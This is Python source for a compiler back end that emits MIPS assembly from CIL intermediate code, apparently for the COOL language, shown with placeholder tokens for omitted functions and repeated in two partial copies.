<function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, 